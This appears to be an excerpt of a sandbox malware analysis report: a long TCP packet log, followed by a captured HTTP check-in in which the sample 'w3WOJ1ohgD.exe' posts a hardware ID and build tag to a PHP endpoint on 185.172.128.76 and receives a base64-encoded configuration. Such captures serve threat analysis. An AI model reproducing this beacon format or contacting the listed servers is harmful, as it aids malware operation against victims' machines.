Apr 25, 2024 14:42:30.147528887 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.147541046 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.147567987 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.147578955 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.147608042 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.147619009 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.147644997 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.147653103 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.147682905 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.147691965 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.147720098 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.147727966 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.147757053 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.147763968 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.147794962 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.147797108 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.147833109 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.147845984 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.147870064 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.147878885 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.147907019 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.147917986 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.147945881 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.147955894 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.147984982 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.147998095 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148024082 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.148034096 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148061037 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.148071051 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148114920 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.148116112 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148159027 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.148169994 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148197889 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.148211002 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148236036 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.148250103 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148273945 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.148283958 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148312092 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.148325920 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148350000 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.148361921 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148397923 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148453951 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.148492098 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.148504972 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148565054 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.148591042 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148628950 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148827076 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.148876905 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.148930073 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.148982048 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.149032116 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.149069071 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.149080038 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.149115086 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.149137974 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.149177074 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.149214029 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.149225950 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.149251938 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.149266958 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.149288893 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.149302959 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.149327993 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.149339914 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.149384022 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.350819111 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.350884914 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.350925922 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.350929022 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.350961924 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.350965023 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.350984097 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.351003885 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.351021051 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.351130962 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.351139069 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.351170063 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.351191998 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.351207972 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.351212978 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.351259947 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.351579905 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.351619005 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.351667881 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352004051 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352046967 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352065086 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352086067 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352111101 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352134943 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352148056 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352185011 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352190971 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352224112 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352236986 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352262020 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352274895 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352299929 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352310896 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352338076 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352345943 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352375031 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352380037 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352411985 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352432966 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352447987 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352466106 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352467060 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352483988 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352493048 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352500916 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352515936 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352519035 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352541924 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352566004 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352572918 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352582932 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352610111 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352627039 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352632046 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352654934 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352691889 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352694988 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352727890 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352732897 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352741957 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352771044 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352775097 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352790117 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352799892 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352817059 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352834940 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352843046 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352905035 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.352942944 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352988005 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.352997065 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353029966 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353053093 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353106022 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353147030 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353168964 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353214025 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353225946 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353247881 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353254080 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353283882 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353288889 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353322983 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353339911 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353406906 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353455067 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353466988 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353482008 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353524923 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353548050 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353589058 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353610039 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353643894 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353652000 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353688955 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353709936 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353723049 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353750944 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353769064 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353785992 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353840113 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353883982 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353890896 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353905916 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353918076 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.353933096 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353970051 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.353990078 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354003906 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354044914 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354048014 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354091883 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354099989 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354141951 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354163885 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354187965 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354201078 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354206085 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354233027 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354254007 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354257107 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354378939 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354432106 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354463100 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354505062 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354518890 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354543924 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354561090 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354572058 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354587078 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354609966 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354641914 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354656935 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354696989 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354700089 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354732990 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354739904 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354788065 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354809999 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354850054 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354871988 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354893923 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354906082 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354938984 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354960918 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.354974031 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.354996920 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355026007 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355040073 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355050087 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355081081 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355103970 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355145931 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355160952 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355209112 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355212927 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355257988 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355276108 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355299950 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355324030 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355345964 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355345964 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355384111 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355387926 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355408907 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355423927 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355449915 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355479002 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355493069 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355515957 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355531931 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355540991 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355567932 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355609894 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355632067 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355671883 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.355673075 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.355710983 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.357268095 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.357283115 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.357347012 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.357347012 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.357533932 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.357580900 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.357594967 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.357608080 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.357641935 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.357654095 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.357675076 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.357724905 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.357773066 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.357835054 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.357836008 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.357848883 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.357881069 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.357903004 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.357913017 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.357966900 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.357980967 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.358009100 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.358037949 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.358052015 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.358052969 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.358087063 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.358118057 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.358160973 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.358170986 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.358218908 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.358220100 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.358259916 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.358282089 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.358320951 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:30.358333111 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:30.358371973 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:35.150229931 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:35.150326967 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:44.383831024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:44.385158062 CEST	49733	80	192.168.2.4	185.172.128.203

HTTP Request Dependency Graph

185.172.128.76

185.172.128.203

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	185.172.128.76	80	7428	C:\Users\user\Desktop\w3WOJ1ohgD.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 14:42:01.450782061 CEST	417	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGDGDHDGDBFIDHDBAF Host: 185.172.128.76 Content-Length: 216 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 39 30 34 43 32 46 42 44 42 34 33 37 35 30 37 37 33 35 36 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 2d 2d 0d 0a Data Ascii: ------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="hwid"B7904C2FBDB43750773564------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="build"default10------KJDGDGDHDGDBFIDHDBAF--
Apr 25, 2024 14:42:01.950870991 CEST	347	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Vary: Accept-Encoding Data Raw: 4f 44 41 34 4e 57 4d 33 4f 57 51 31 4d 6a 52 6b 4d 7a 64 6a 59 54 59 77 4f 54 6b 35 4d 57 5a 6c 4d 6a 6b 32 4e 6a 6b 33 4d 44 41 78 4d 6a 52 6b 59 7a 56 6b 4e 7a 42 6b 4e 54 63 78 59 6d 49 31 4e 7a 51 34 4d 54 45 32 4d 7a 5a 6a 4d 54 56 6d 59 54 46 68 4f 54 41 31 4d 6a 63 79 59 54 49 33 66 47 68 6c 63 6a 64 6f 4e 44 68 79 66 47 56 79 4e 47 67 30 5a 54 68 79 4e 43 35 6d 61 57 78 6c 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: ODA4NWM3OWQ1MjRkMzdjYTYwOTk5MWZlMjk2Njk3MDAxMjRkYzVkNzBkNTcxYmI1NzQ4MTE2MzZjMTVmYTFhOTA1MjcyYTI3fGhlcjdoNDhyfGVyNGg0ZThyNC5maWxlfDF8MHwxfDF8MXwxfDF8MXw=
